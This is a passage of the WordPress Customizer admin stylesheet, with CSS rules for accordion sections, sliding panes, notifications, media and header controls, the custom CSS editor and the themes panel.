	margin-bottom: 0;
}

#customize-controls .current-panel .control-section > h3.accordion-section-title {
	padding-right: 30px;
}

#customize-theme-controls .control-section,
#customize-outer-theme-controls .control-section {
	border: none;
}

#customize-theme-controls .accordion-section-title,
#customize-outer-theme-controls .accordion-section-title {
	color: #50575e;
	background-color: #fff;
	border-bottom: 1px solid #dcdcde;
	border-left: 4px solid #fff;
	transition:
		.15s color ease-in-out,
		.15s background-color ease-in-out,
		.15s border-color ease-in-out;
}

@media (prefers-reduced-motion: reduce) {
	#customize-theme-controls .accordion-section-title,
	#customize-outer-theme-controls .accordion-section-title {
		transition: none;
	}
}

#customize-controls #customize-theme-controls .customize-themes-panel .accordion-section-title {
	color: #50575e;
	background-color: #fff;
	border-left: 4px solid #fff;
}

#customize-theme-controls .accordion-section-title:after,
#customize-outer-theme-controls .accordion-section-title:after {
	content: "\f345";
	color: #a7aaad;
}

#customize-theme-controls .accordion-section-content,
#customize-outer-theme-controls .accordion-section-content {
	color: #50575e;
	background: transparent;
}

#customize-controls .control-section:hover > .accordion-section-title,
#customize-controls .control-section .accordion-section-title:hover,
#customize-controls .control-section.open .accordion-section-title,
#customize-controls .control-section .accordion-section-title:focus {
	color: #2271b1;
	background: #f6f7f7;
	border-left-color: #2271b1;
}

#accordion-section-themes + .control-section {
	border-top: 1px solid #dcdcde;
}

.js .control-section:hover .accordion-section-title,
.js .control-section .accordion-section-title:hover,
.js .control-section.open .accordion-section-title,
.js .control-section .accordion-section-title:focus {
	background: #f6f7f7;
}

#customize-theme-controls .control-section:hover > .accordion-section-title:after,
#customize-theme-controls .control-section .accordion-section-title:hover:after,
#customize-theme-controls .control-section.open .accordion-section-title:after,
#customize-theme-controls .control-section .accordion-section-title:focus:after,
#customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
#customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
#customize-outer-theme-controls .control-section.open .accordion-section-title:after,
#customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
	color: #2271b1;
}

#customize-theme-controls .control-section.open {
	border-bottom: 1px solid #f0f0f1;
}

#customize-theme-controls .control-section.open .accordion-section-title,
#customize-outer-theme-controls .control-section.open .accordion-section-title {
	border-bottom-color: #f0f0f1 !important;
}

#customize-theme-controls .control-section:last-of-type.open,
#customize-theme-controls .control-section:last-of-type > .accordion-section-title {
	border-bottom-color: #dcdcde;
}

#customize-theme-controls .control-panel-content:not(.control-panel-nav_menus) .control-section:nth-child(2),
#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu,
#customize-theme-controls .control-section-nav_menu_locations .accordion-section-title {
	border-top: 1px solid #dcdcde;
}

#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu + .control-section-nav_menu {
	border-top: none;
}

#customize-theme-controls > ul {
	margin: 0;
}

#customize-theme-controls .accordion-section-content {
	position: absolute;
	top: 0;
	left: 100%;
	width: 100%;
	margin: 0;
	padding: 12px;
	box-sizing: border-box;
}

#customize-info,
#customize-theme-controls .customize-pane-parent,
#customize-theme-controls .customize-pane-child {
	overflow: visible;
	width: 100%;
	margin: 0;
	padding: 0;
	box-sizing: border-box;
	transition: 0.18s transform cubic-bezier(0.645, 0.045, 0.355, 1); /* easeInOutCubic */
}

@media (prefers-reduced-motion: reduce) {
	#customize-info,
	#customize-theme-controls .customize-pane-parent,
	#customize-theme-controls .customize-pane-child {
		transition: none;
	}
}

#customize-theme-controls .customize-pane-child.skip-transition {
	transition: none;
}

#customize-info,
#customize-theme-controls .customize-pane-parent {
	position: relative;
	visibility: visible;
	height: auto;
	max-height: none;
	overflow: auto;
	transform: none;
}

#customize-theme-controls .customize-pane-child {
	position: absolute;
	top: 0;
	left: 0;
	visibility: hidden;
	height: 0;
	max-height: none;
	overflow: hidden;
	transform: translateX(100%);
}

#customize-theme-controls .customize-pane-child.open,
#customize-theme-controls .customize-pane-child.current-panel {
	transform: none;
}

.section-open #customize-theme-controls .customize-pane-parent,
.in-sub-panel #customize-theme-controls .customize-pane-parent,
.section-open #customize-info,
.in-sub-panel #customize-info,
.in-sub-panel.section-open #customize-theme-controls .customize-pane-child.current-panel {
	visibility: hidden;
	height: 0;
	overflow: hidden;
	transform: translateX(-100%);
}

.section-open #customize-theme-controls .customize-pane-parent.busy,
.in-sub-panel #customize-theme-controls .customize-pane-parent.busy,
.section-open #customize-info.busy,
.in-sub-panel #customize-info.busy,
.busy.section-open.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel,
#customize-theme-controls .customize-pane-child.open,
#customize-theme-controls .customize-pane-child.current-panel,
#customize-theme-controls .customize-pane-child.busy {
	visibility: visible;
	height: auto;
	overflow: auto;
}

#customize-theme-controls .customize-pane-child.accordion-section-content,
#customize-theme-controls .customize-pane-child.accordion-sub-container {
	display: block;
	overflow-x: hidden;
}

#customize-theme-controls .customize-pane-child.accordion-section-content {
	padding: 12px;
}

#customize-theme-controls .customize-pane-child.menu li {
	position: static;
}

.customize-section-description-container,
.control-section-nav_menu .customize-section-description-container,
.control-section-new_menu .customize-section-description-container {
	margin-bottom: 15px;
}

.control-section-nav_menu .customize-control,
.control-section-new_menu .customize-control {
	/* Override default `margin-bottom` for `.customize-control` */
	margin-bottom: 0;
}

.customize-section-title {
	margin: -12px -12px 0;
	border-bottom: 1px solid #dcdcde;
	background: #fff;
}

div.customize-section-description {
	margin-top: 22px;
}

.customize-info div.customize-section-description {
	margin-top: 0;
}

div.customize-section-description p:first-child {
	margin-top: 0;
}

div.customize-section-description p:last-child {
	margin-bottom: 0;
}

#customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child {
	border-bottom: 1px solid #dcdcde;
	padding: 12px;
}

.ios #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child {
	padding: 12px 12px 13px;
}

.customize-section-title h3,
h3.customize-section-title {
	padding: 10px 10px 12px 14px;
	margin: 0;
	line-height: 21px;
	color: #50575e;
}

.accordion-sub-container.control-panel-content {
	display: none;
	position: absolute;
	top: 0;
	width: 100%;
}

.accordion-sub-container.control-panel-content.busy {
	display: block;
}

.current-panel .accordion-sub-container.control-panel-content {
	width: 100%;
}

.customize-controls-close {
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	width: 45px;
	height: 41px;
	padding: 0 2px 0 0;
	background: #f0f0f1;
	border: none;
	border-top: 4px solid #f0f0f1;
	border-right: 1px solid #dcdcde;
	color: #3c434a;
	text-align: left;
	cursor: pointer;
	transition:
		color .15s ease-in-out,
		border-color .15s ease-in-out,
		background .15s ease-in-out;
	box-sizing: content-box;
}

.customize-panel-back,
.customize-section-back {
	display: block;
	float: left;
	width: 48px;
	height: 71px;
	padding: 0 24px 0 0;
	margin: 0;
	background: #fff;
	border: none;
	border-right: 1px solid #dcdcde;
	border-left: 4px solid #fff;
	box-shadow: none;
	cursor: pointer;
	transition:
		color .15s ease-in-out,
		border-color .15s ease-in-out,
		background .15s ease-in-out;
}

.customize-section-back {
	height: 74px;
}

.ios .customize-panel-back {
	display: none;
}

.ios .expanded.in-sub-panel .customize-panel-back {
	display: block;
}

#customize-controls .panel-meta.customize-info .accordion-section-title {
	margin-left: 48px;
	border-left: none;
}

#customize-controls .panel-meta.customize-info .accordion-section-title:hover,
#customize-controls .cannot-expand:hover .accordion-section-title {
	background: #fff;
	color: #50575e;
	border-left-color: #fff;
}

.customize-controls-close:focus,
.customize-controls-close:hover,
.customize-controls-preview-toggle:focus,
.customize-controls-preview-toggle:hover {
	background: #fff;
	color: #2271b1;
	border-top-color: #2271b1;
	box-shadow: none;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

#customize-theme-controls .accordion-section-title:focus .customize-action {
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
	outline-offset: 1px;
}

.customize-panel-back:hover,
.customize-panel-back:focus,
.customize-section-back:hover,
.customize-section-back:focus {
	color: #2271b1;
	background: #f6f7f7;
	border-left-color: #2271b1;
	box-shadow: none;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.customize-controls-close:before {
	font: normal 22px/45px dashicons;
	content: "\f335";
	position: relative;
	top: -3px;
	left: 13px;
}

.customize-panel-back:before,
.customize-section-back:before {
	font: normal 20px/72px dashicons;
	content: "\f341";
	position: relative;
	left: 9px;
}

.wp-full-overlay-sidebar .wp-full-overlay-header {
	background-color: #f0f0f1;
	transition: padding ease-in-out .18s;
}

.in-sub-panel .wp-full-overlay-sidebar .wp-full-overlay-header {
	padding-left: 62px;
}

p.customize-section-description {
	font-style: normal;
	margin-top: 22px;
	margin-bottom: 0;
}

.customize-section-description ul {
	margin-left: 1em;
}

.customize-section-description ul > li {
	list-style: disc;
}

.section-description-buttons {
	text-align: right;
}

.customize-control {
	width: 100%;
	float: left;
	clear: both;
	margin-bottom: 12px;
}

.customize-control input[type="text"],
.customize-control input[type="password"],
.customize-control input[type="email"],
.customize-control input[type="number"],
.customize-control input[type="search"],
.customize-control input[type="tel"],
.customize-control input[type="url"],
.customize-control input[type="range"] {
	width: 100%;
	margin: 0;
}

.customize-control-hidden {
	margin: 0;
}

.customize-control-textarea textarea {
	width: 100%;
	resize: vertical;
}

.customize-control select {
	width: 100%;
}

.customize-control select[multiple] {
	height: auto;
}

.customize-control-title {
	display: block;
	font-size: 14px;
	line-height: 1.75;
	font-weight: 600;
	margin-bottom: 4px;
}

.customize-control-description {
	display: block;
	font-style: italic;
	line-height: 1.4;
	margin-top: 0;
	margin-bottom: 5px;
}

.customize-section-description a.external-link:after {
	font: 16px/11px dashicons;
	content: "\f504";
	top: 3px;
	position: relative;
	padding-left: 3px;
	display: inline-block;
	text-decoration: none;
}

.customize-control-color .color-picker,
.customize-control-upload div {
	line-height: 28px;
}

.customize-control .customize-inside-control-row {
	line-height: 1.6;
	display: block;
	margin-left: 24px;
	padding-top: 6px;
	padding-bottom: 6px;
}

.customize-control-radio input,
.customize-control-checkbox input,
.customize-control-nav_menu_auto_add input {
	margin-right: 4px;
	margin-left: -24px;
}

.customize-control-radio {
	padding: 5px 0 10px;
}

.customize-control-radio .customize-control-title {
	margin-bottom: 0;
	line-height: 1.6;
}

.customize-control-radio .customize-control-title + .customize-control-description {
	margin-top: 7px;
}

.customize-control-radio label,
.customize-control-checkbox label {
	vertical-align: top;
}

.customize-control .attachment-thumb.type-icon {
	float: left;
	margin: 10px;
	width: auto;
}

.customize-control .attachment-title {
	font-weight: 600;
	margin: 0;
	padding: 5px 10px;
}

.customize-control .attachment-meta {
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	padding: 0 10px;
}

.customize-control .attachment-meta-title {
	padding-top: 7px;
}

/* Remove descender space. */
.customize-control .thumbnail-image,
.customize-control-header .current,
.customize-control .wp-media-wrapper.wp-video {
	line-height: 0;
}

/* Remove descender space. */
.customize-control-site_icon .favicon-preview .browser-preview {
	vertical-align: top;
}

.customize-control .thumbnail-image img {
	cursor: pointer;
}

#customize-controls .thumbnail-audio .thumbnail {
	max-width: 64px;
	max-height: 64px;
	margin: 10px;
	float: left;
}

#available-menu-items .accordion-section-content .new-content-item,
.customize-control-dropdown-pages .new-content-item {
	width: calc(100% - 30px);
	padding: 8px 15px;
	position: absolute;
	bottom: 0;
	z-index: 10;
	background: #f0f0f1;
	display: flex;
}

.customize-control-dropdown-pages .new-content-item {
	width: 100%;
	padding: 5px 0 5px 1px;
	position: relative;
}

#available-menu-items .new-content-item .create-item-input,
.customize-control-dropdown-pages .new-content-item .create-item-input {
	flex-grow: 10;
}

#available-menu-items .new-content-item .add-content,
.customize-control-dropdown-pages .new-content-item .add-content {
	margin: 2px 0 2px 6px;
	flex-grow: 1;
}

.customize-control-dropdown-pages .new-content-item .create-item-input.invalid {
	border: 1px solid #d63638;
}

.customize-control-dropdown-pages .add-new-toggle {
	margin-left: 1px;
	font-weight: 600;
	line-height: 2.2;
}

#customize-preview iframe {
	width: 100%;
	height: 100%;
	position: absolute;
}
#customize-preview iframe + iframe {
	visibility: hidden;
}

.wp-full-overlay-sidebar {
	background: #f0f0f1;
	border-right: 1px solid #dcdcde;
}


/**
 * Notifications
 */

#customize-controls .customize-control-notifications-container { /* Scoped to #customize-controls for specificity over notification styles in common.css. */
	margin: 4px 0 8px;
	padding: 0;
	cursor: default;
}

#customize-controls .customize-control-widget_form.has-error .widget .widget-top,
.customize-control-nav_menu_item.has-error .menu-item-bar .menu-item-handle {
	box-shadow: inset 0 0 0 2px #d63638;
	transition: .15s box-shadow linear;
}

#customize-controls .customize-control-notifications-container li.notice {
	list-style: none;
	margin: 0 0 6px;
	padding: 9px 14px;
	overflow: hidden;
}
#customize-controls .customize-control-notifications-container .notice.is-dismissible {
	padding-right: 38px;
}

.customize-control-notifications-container li.notice:last-child {
	margin-bottom: 0;
}

#customize-controls .customize-control-nav_menu_item .customize-control-notifications-container {
	margin-top: 0;
}

#customize-controls .customize-control-widget_form .customize-control-notifications-container {
	margin-top: 8px;
}

.customize-control-text.has-error input {
	outline: 2px solid #d63638;
}

#customize-controls #customize-notifications-area {
	position: absolute;
	top: 46px;
	width: 100%;
	border-bottom: 1px solid #dcdcde;
	display: block;
	padding: 0;
	margin: 0;
}

.wp-full-overlay.collapsed #customize-controls #customize-notifications-area {
	display: none !important;
}

#customize-controls #customize-notifications-area:not(.has-overlay-notifications),
#customize-controls .customize-section-title > .customize-control-notifications-container:not(.has-overlay-notifications),
#customize-controls .panel-meta > .customize-control-notifications-container:not(.has-overlay-notifications) {
	max-height: 210px;
	overflow-x: hidden;
	overflow-y: auto;
}

#customize-controls #customize-notifications-area > ul,
#customize-controls #customize-notifications-area .notice,
#customize-controls .panel-meta > .customize-control-notifications-container,
#customize-controls .panel-meta > .customize-control-notifications-container .notice,
#customize-controls .customize-section-title > .customize-control-notifications-container,
#customize-controls .customize-section-title > .customize-control-notifications-container .notice {
	margin: 0;
}
#customize-controls .panel-meta > .customize-control-notifications-container,
#customize-controls .customize-section-title > .customize-control-notifications-container {
	border-top: 1px solid #dcdcde;
}
#customize-controls #customize-notifications-area .notice,
#customize-controls .panel-meta > .customize-control-notifications-container .notice,
#customize-controls .customize-section-title > .customize-control-notifications-container .notice {
	padding: 9px 14px;
}
#customize-controls #customize-notifications-area .notice.is-dismissible,
#customize-controls .panel-meta > .customize-control-notifications-container .notice.is-dismissible,
#customize-controls .customize-section-title > .customize-control-notifications-container .notice.is-dismissible {
	padding-right: 38px;
}
#customize-controls #customize-notifications-area .notice + .notice,
#customize-controls .panel-meta > .customize-control-notifications-container .notice + .notice,
#customize-controls .customize-section-title > .customize-control-notifications-container .notice + .notice {
	margin-top: 1px;
}

@keyframes customize-fade-in {
	0%   { opacity: 0; }
	100% { opacity: 1; }
}

#customize-controls .notice.notification-overlay,
#customize-controls #customize-notifications-area .notice.notification-overlay {
	margin: 0;
	border-left: 0; /* @todo Appropriate styles could be added for notice-error, notice-warning, notice-success, etc */
}

#customize-controls .customize-control-notifications-container.has-overlay-notifications {
	animation: customize-fade-in 0.5s;
	z-index: 30;
}

/* Note: Styles for this are also defined in themes.css */
#customize-controls #customize-notifications-area .notice.notification-overlay .notification-message {
	clear: both;
	color: #1d2327;
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 2em 0;
	text-align: center;
	width: 100%;
	display: block;
	top: 50%;
	position: relative;
}

/* Style for custom settings */

/**
 * Static front page
 */

#customize-control-show_on_front.has-error {
	margin-bottom: 0;
}
#customize-control-show_on_front.has-error .customize-control-notifications-container {
	margin-top: 12px;
}

/**
 * Dropdowns
 */

.accordion-section .dropdown {
	float: left;
	display: block;
	position: relative;
	cursor: pointer;
}

.accordion-section .dropdown-content {
	overflow: hidden;
	float: left;
	min-width: 30px;
	height: 16px;
	line-height: 16px;
	margin-right: 16px;
	padding: 4px 5px;
	border: 2px solid #f0f0f1;
	-webkit-user-select: none;
	user-select: none;
}

/* @todo maybe no more used? */
.customize-control .dropdown-arrow {
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	width: 20px;
	background: #f0f0f1;
}

.customize-control .dropdown-arrow:after {
	content: "\f140";
	font: normal 20px/1 dashicons;
	speak: never;
	display: block;
	padding: 0;
	text-indent: 0;
	text-align: center;
	position: relative;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #2c3338;
}

.customize-control .dropdown-status {
	color: #2c3338;
	background: #f0f0f1;
	display: none;
	max-width: 112px;
}

.customize-control-color .dropdown {
	margin-right: 5px;
	margin-bottom: 5px;
}

.customize-control-color .dropdown .dropdown-content {
	background-color: #50575e;
	border: 1px solid rgba(0, 0, 0, 0.15);
}

.customize-control-color .dropdown:hover .dropdown-content {
	border-color: rgba(0, 0, 0, 0.25);
}

/**
 * iOS can't scroll iframes,
 * instead it expands the iframe size to match the size of the content
 */

.ios .wp-full-overlay {
	position: relative;
}

.ios #customize-controls .wp-full-overlay-sidebar-content {
	-webkit-overflow-scrolling: touch;
}

/* Media controls */

.customize-control .actions .button {
	margin-top: 12px;
}

.customize-control-header .actions,
.customize-control-header .uploaded {
	margin-bottom: 18px;
}

.customize-control-header .uploaded button:not(.random),
.customize-control-header .default button:not(.random) {
	width: 100%;
	padding: 0;
	margin: 0;
	background: none;
	border: none;
	color: inherit;
	cursor: pointer;
}

.customize-control-header button img {
	display: block;
}

.customize-control .attachment-media-view .remove-button,
.customize-control .attachment-media-view .default-button,
.customize-control .attachment-media-view .upload-button,
.customize-control-header button.new,
.customize-control-header button.remove {
	width: auto;
	height: auto;
	white-space: normal;
}

.customize-control .attachment-media-view .thumbnail,
.customize-control-header .current .container {
	overflow: hidden;
}

.customize-control .attachment-media-view .placeholder,
.customize-control .attachment-media-view .button-add-media,
.customize-control-header .placeholder {
	width: 100%;
	position: relative;
	text-align: center;
	cursor: default;
	border: 1px dashed #c3c4c7;
	box-sizing: border-box;
	padding: 9px 0;
	line-height: 1.6;
}

.customize-control .attachment-media-view .button-add-media {
	cursor: pointer;
	background-color: #f0f0f1;
	color: #2c3338;
}

.customize-control .attachment-media-view .button-add-media:hover {
	background-color: #fff;
}

.customize-control .attachment-media-view .button-add-media:focus {
	background-color: #fff;
	border-color: #3582c4;
	border-style: solid;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.customize-control-header .inner {
	display: none;
	position: absolute;
	width: 100%;
	color: #50575e;
	white-space: nowrap;
	text-overflow: ellipsis;
	overflow: hidden;
}

.customize-control-header .inner,
.customize-control-header .inner .dashicons {
	line-height: 20px;
	top: 8px;
}

.customize-control-header .list .inner,
.customize-control-header .list .inner .dashicons {
	top: 9px;
}

.customize-control-header .header-view {
	position: relative;
	width: 100%;
	margin-bottom: 12px;
}

.customize-control-header .header-view:last-child {
	margin-bottom: 0;
}

/* Convoluted, but 'outline' support isn't good enough yet */
.customize-control-header .header-view:after {
	border: 0;
}

.customize-control-header .header-view.selected .choice:focus {
	outline: none;
}

.customize-control-header .header-view.selected:after {
	content: "";
	position: absolute;
	height: auto;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	border: 4px solid #72aee6;
	border-radius: 2px;
}

.customize-control-header .header-view.button.selected {
	border: 0;
}

/* Header control: overlay "close" button */

.customize-control-header .uploaded .header-view .close {
	font-size: 20px;
	color: #fff;
	background: #50575e;
	background: rgba(0, 0, 0, 0.5);
	position: absolute;
	top: 10px;
	left: -999px;
	z-index: 1;
	width: 26px;
	height: 26px;
	cursor: pointer;
}

.customize-control-header .header-view:hover .close,
.customize-control-header .header-view .close:focus {
	left: auto;
	right: 10px;
}

.customize-control-header .header-view .close:focus {
	outline: 1px solid #4f94d4;
}

/* Header control: randomiz(s)er */

.customize-control-header .random.placeholder {
	cursor: pointer;
	border-radius: 2px;
	height: 40px;
}

.customize-control-header button.random {
	width: 100%;
	height: auto;
	min-height: 40px;
	white-space: normal;
}

.customize-control-header button.random .dice {
	margin-top: 4px;
}

.customize-control-header .placeholder:hover .dice,
.customize-control-header .header-view:hover > button.random .dice {
	animation: dice-color-change 3s infinite;
}

.button-see-me {
	animation: bounce .7s 1;
	transform-origin: center bottom;
}

@keyframes bounce {
	from, 20%, 53%, 80%, to {
		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
		transform: translate3d(0,0,0);
	}

	40%, 43% {
		animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);
		transform: translate3d(0, -12px, 0);
	}

	70% {
		animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);
		transform: translate3d(0, -6px, 0);
	}

	90% {
		transform: translate3d(0,-1px,0);
	}
}

.customize-control-header .choice {
	position: relative;
	display: block;
	margin-bottom: 9px;
}

.customize-control-header .choice:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.customize-control-header .uploaded div:last-child > .choice {
	margin-bottom: 0;
}

.customize-control .attachment-media-view .thumbnail-image img,
.customize-control-header img {
	max-width: 100%;
}

.customize-control .attachment-media-view .remove-button,
.customize-control .attachment-media-view .default-button,
.customize-control-header .remove {
	margin-right: 8px;
}

/* Background position control */
.customize-control-background_position .background-position-control .button-group {
	display: block;
}

/**
 * Code Editor Control and Custom CSS Section
 *
 * Modifications to the Section Container to make the textarea full-width and
 * full-height, if the control is the only control in the section.
 */

.customize-control-code_editor textarea {
	width: 100%;
	font-family: Consolas, Monaco, monospace;
	font-size: 12px;
	padding: 6px 8px;
	tab-size: 2;
}
.customize-control-code_editor textarea,
.customize-control-code_editor .CodeMirror {
	height: 14em;
}

#customize-controls .customize-section-description-container.section-meta.customize-info {
	border-bottom: none;
}

#sub-accordion-section-custom_css .customize-control-notifications-container {
	margin-bottom: 15px;
}

#customize-control-custom_css textarea {
	display: block;
	height: 500px;
}

.customize-section-description-container + #customize-control-custom_css .customize-control-title {
	margin-left: 12px;
}

.customize-section-description-container + #customize-control-custom_css:last-child textarea {
	border-right: 0;
	border-left: 0;
	height: calc( 100vh - 185px );
	resize: none;
}

.customize-section-description-container + #customize-control-custom_css:last-child {
	margin-left: -12px;
	width: 299px;
	width: calc( 100% + 24px );
	margin-bottom: -12px;
}

.customize-section-description-container + #customize-control-custom_css:last-child .CodeMirror {
	height: calc( 100vh - 185px );
}

.CodeMirror-lint-tooltip,
.CodeMirror-hints {
	z-index: 500000 !important;
}

.customize-section-description-container + #customize-control-custom_css:last-child .customize-control-notifications-container {
	margin-left: 12px;
	margin-right: 12px;
}

.theme-browser .theme.active .theme-actions,
.wp-customizer .theme-browser .theme .theme-actions {
	padding: 9px 15px;
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1);
}

@media screen and (max-width: 640px) {
	.customize-section-description-container + #customize-control-custom_css:last-child {
		margin-right: 0;
	}

	.customize-section-description-container + #customize-control-custom_css:last-child textarea {
		height: calc( 100vh - 140px );
	}
}

/**
 * Themes
 */

#customize-theme-controls .control-panel-themes {
	border-bottom: none;
}

#customize-theme-controls .control-panel-themes > .accordion-section-title:hover, /* Not a focusable element. */
#customize-theme-controls .control-panel-themes > .accordion-section-title {
	cursor: default;
	background: #fff;
	color: #50575e;
	border-top: 1px solid #dcdcde;
	border-bottom: 1px solid #dcdcde;
	border-left: none;
	border-right: none;
	margin: 0 0 15px;
	padding-right: 100px; /* Space for the button */
}

#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child:hover, /* Not a focusable element. */
#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child {
	border-top: 0;
}

#customize-theme-controls .control-section-themes > .accordion-section-title:hover, /* Not a focusable element. */
#customize-theme-controls .control-section-themes > .accordion-section-title {
	margin: 0 0 15px;
}

#customize-controls .customize-themes-panel .accordion-section-title:hover,
#customize-controls .customize-themes-panel .accordion-section-title {
	margin: 15px -8px;
}

#customize-controls .control-section-themes .accordion-section-title,
#customize-controls .customize-themes-panel .accordion-section-title {
	padding-right: 100px; /* Space for the button */
}

.control-panel-themes .accordion-section-title span.customize-action,
#customize-controls .customize-section-title span.customize-action,
#customize-controls .control-section-themes .accordion-section-title span.customize-action,
#customize-controls .customize-section-title span.customize-action {
	font-size: 13px;
	display: block;
	font-weight: 400;
}

#customize-theme-controls .control-panel-themes .accordion-section-title .change-theme {
	position: absolute;
	right: 10px;
	top: 50%;
	margin-top: -14px;
	font-weight: 400;
}

#customize-notifications-area .notification-message button.switch-to-editor {
	display: block;
	margin-top: 6px;
	font-weight: 400;
}

#customize-theme-controls .control-panel-themes > .accordion-section-title:after {
	display: none;
}

.control-panel-themes .customize-themes-full-container {
	position: fixed;
	top: 0;
	left: 0;
	transition: .18s left ease-in-out;
	margin: 0 0 0 300px;
	padding: 71px 0 25px;
	overflow-y: scroll;
	width: calc(100% - 300px);
	height: calc(100% - 96px);
	background: #f0f0f1;
	z-index: 20;
}

@media (prefers-reduced-motion: reduce) {
	.control-panel-themes .customize-themes-full-container {
		transition: none;
	}
}

@media screen and (min-width: 1670px) {
	.control-panel-themes .customize-themes-full-container {
		width: 82%;
		right: 0;
		left: initial;
	}
}

.modal-open .control-panel-themes .customize-themes-full-container {
	overflow-y: visible;
}

/* Animations for opening the themes panel */
#customize-save-button-wrapper,
#customize-header-actions .spinner,
#customize-header-actions .customize-controls-preview-toggle {
	transition: .18s margin ease-in-out;
}

#customize-footer-actions,
#customize-footer-actions .collapse-sidebar {
	bottom: 0;
	transition: .18s bottom ease-in-out;
}

.in-themes-panel:not(.animating) #customize-header-actions .spinner,
.in-themes-panel:not(.animating) #customize-header-actions .customize-controls-preview-toggle,
.in-themes-panel:not(.animating) #customize-preview,
.in-themes-panel:not(.animating) #customize-footer-actions {
	visibility: hidden;
}

.wp-full-overlay.in-themes-panel {
	background: #f0f0f1; /* Prevents a black flash when fading in the panel */
}

.in-themes-panel #customize-save-button-wrapper,
.in-themes-panel #customize-header-actions .spinner,
.in-themes-panel #customize-header-actions .customize-controls-preview-toggle {
	margin-top: -46px; /* Height of header actions bar */
}

.in-themes-panel #customize-footer-actions,
.in-themes-panel #customize-footer-actions .collapse-sidebar {
	bottom: -45px;
}

/* Don't show the theme count while the panel opens, as it's in the wrong place during the animation */
.in-themes-panel.animating .control-panel-themes .filter-themes-count {
	display: none;
}

.in-themes-panel.wp-full-overlay .wp-full-overlay-sidebar-content {
	bottom: 0;
}

.themes-filter-bar .feature-filter-toggle {
	float: right;
	margin: 3px 0 3px 25px;
}

.themes-filter-bar .feature-filter-toggle:before {
	content: "\f111";
	margin: 0 5px 0 0;
	font: normal 16px/1 dashicons;
	vertical-align: text-bottom;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.themes-filter-bar .feature-filter-toggle.open {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
}

.themes-filter-bar .feature-filter-toggle .filter-count-filters {
	display: none;
}

.filter-drawer {
	box-sizing: border-box;
	width: 100%;
	position: absolute;
	top: 46px;
	left: 0;
	padding: 25px 0 25px 25px;
	border-top: 0;
	margin: 0;
	background: #f0f0f1;
	border-bottom: 1px solid #dcdcde;
}

.filter-drawer .filter-group {
	margin: 0 25px 0 0;
	width: calc( (100% - 75px) / 3);
	min-width: 200px;
	max-width: 320px;
}

/* Adds a delay before fading in to avoid it "jumping" */
@keyframes themes-fade-in {
	0% {
		opacity: 0;
	}
	50% {
		opacity: 0;
	}
	100% {
		opacity: 1;
	}
}

.control-panel-themes .customize-themes-full-container.animate {
	animation: .6s themes-fade-in 1;
}

.in-themes-panel:not(.animating) .control-panel-themes .filter-themes-count {
	animation: .6s themes-fade-in 1;
}

.control-panel-themes .filter-themes-count {
	position: relative;
	float: right;
	line-height: 2.6;
}

.control-panel-themes .filter-themes-count .themes-displayed {
	font-weight: 600;
	color: #50575e;
}

.customize-themes-notifications {
	margin: 0;
}

.control-panel-themes .customize-themes-notifications .notice {
	margin: 0 0 25px;
}

.customize-themes-full-container .customize-themes-section {
	display: none !important; /* There is unknown JS that perpetually tries to show all theme sections when more items are added. */
	overflow: hidden;
}

.customize-themes-full-container .customize-themes-section.current-section {
	display: list-item !important; /* There is unknown JS that perpetually tries to show all theme sections when more items are added. */
}

.control-section .customize-section-text-before {
	padding: 0 0 8px 15px;
	margin: 15px 0 0;
	line-height: 16px;
	border-bottom: 1px solid #dcdcde;
	color: #50575e;
}

.control-panel-themes .customize-themes-section-title {
	width: 100%;
	background: #fff;
	box-shadow: none;
	outline: none;
	border-top: none;
	border-bottom: 1px solid #dcdcde;
	border-left: 4px solid #fff;
	border-right: none;
	cursor: pointer;
	padding: 10px 15px;
	position: relative;
	text-align: left;
	font-size: 14px;
	font-weight: 600;
	color: #50575e;
	text-shadow: none;
}

.control-panel-themes #accordion-section-installed_themes {
	border-top: 1px solid #dcdcde;
}

.control-panel-themes .theme-section {
	margin: 0;
	position: relative;
}

.control-panel-themes .customize-themes-section-title:focus,
.control-panel-themes .customize-themes-section-title:hover {
	border-left-color: #2271b1;
	color: #2271b1;
	background: #f6f7f7;
}

.customize-themes-section-title:not(.selected):after {
	content: "";
	display: block;
	position: absolute;
	top: 9px;
	right: 15px;
	width: 18px;
	height: 18px;
	border-radius: 100%;
	border: 1px solid #c3c4c7;
	background: #fff;
}

.control-panel-themes .theme-section .customize-themes-section-title.selected:after {
	content: "\f147";
	font: 16px/1 dashicons;
	box-sizing: border-box;
	width: 20px;
	height: 20px;
	padding: 3px 3px 1px 1px; /* Re-align the icon to the smaller grid */
	border-radius: 100%;
	position: absolute;
	top: 9px;
	right: 15px;
	background: #2271b1;
	color: #fff;
}

.control-panel-themes .customize-themes-section-title.selected {
	color: #2271b1;
}

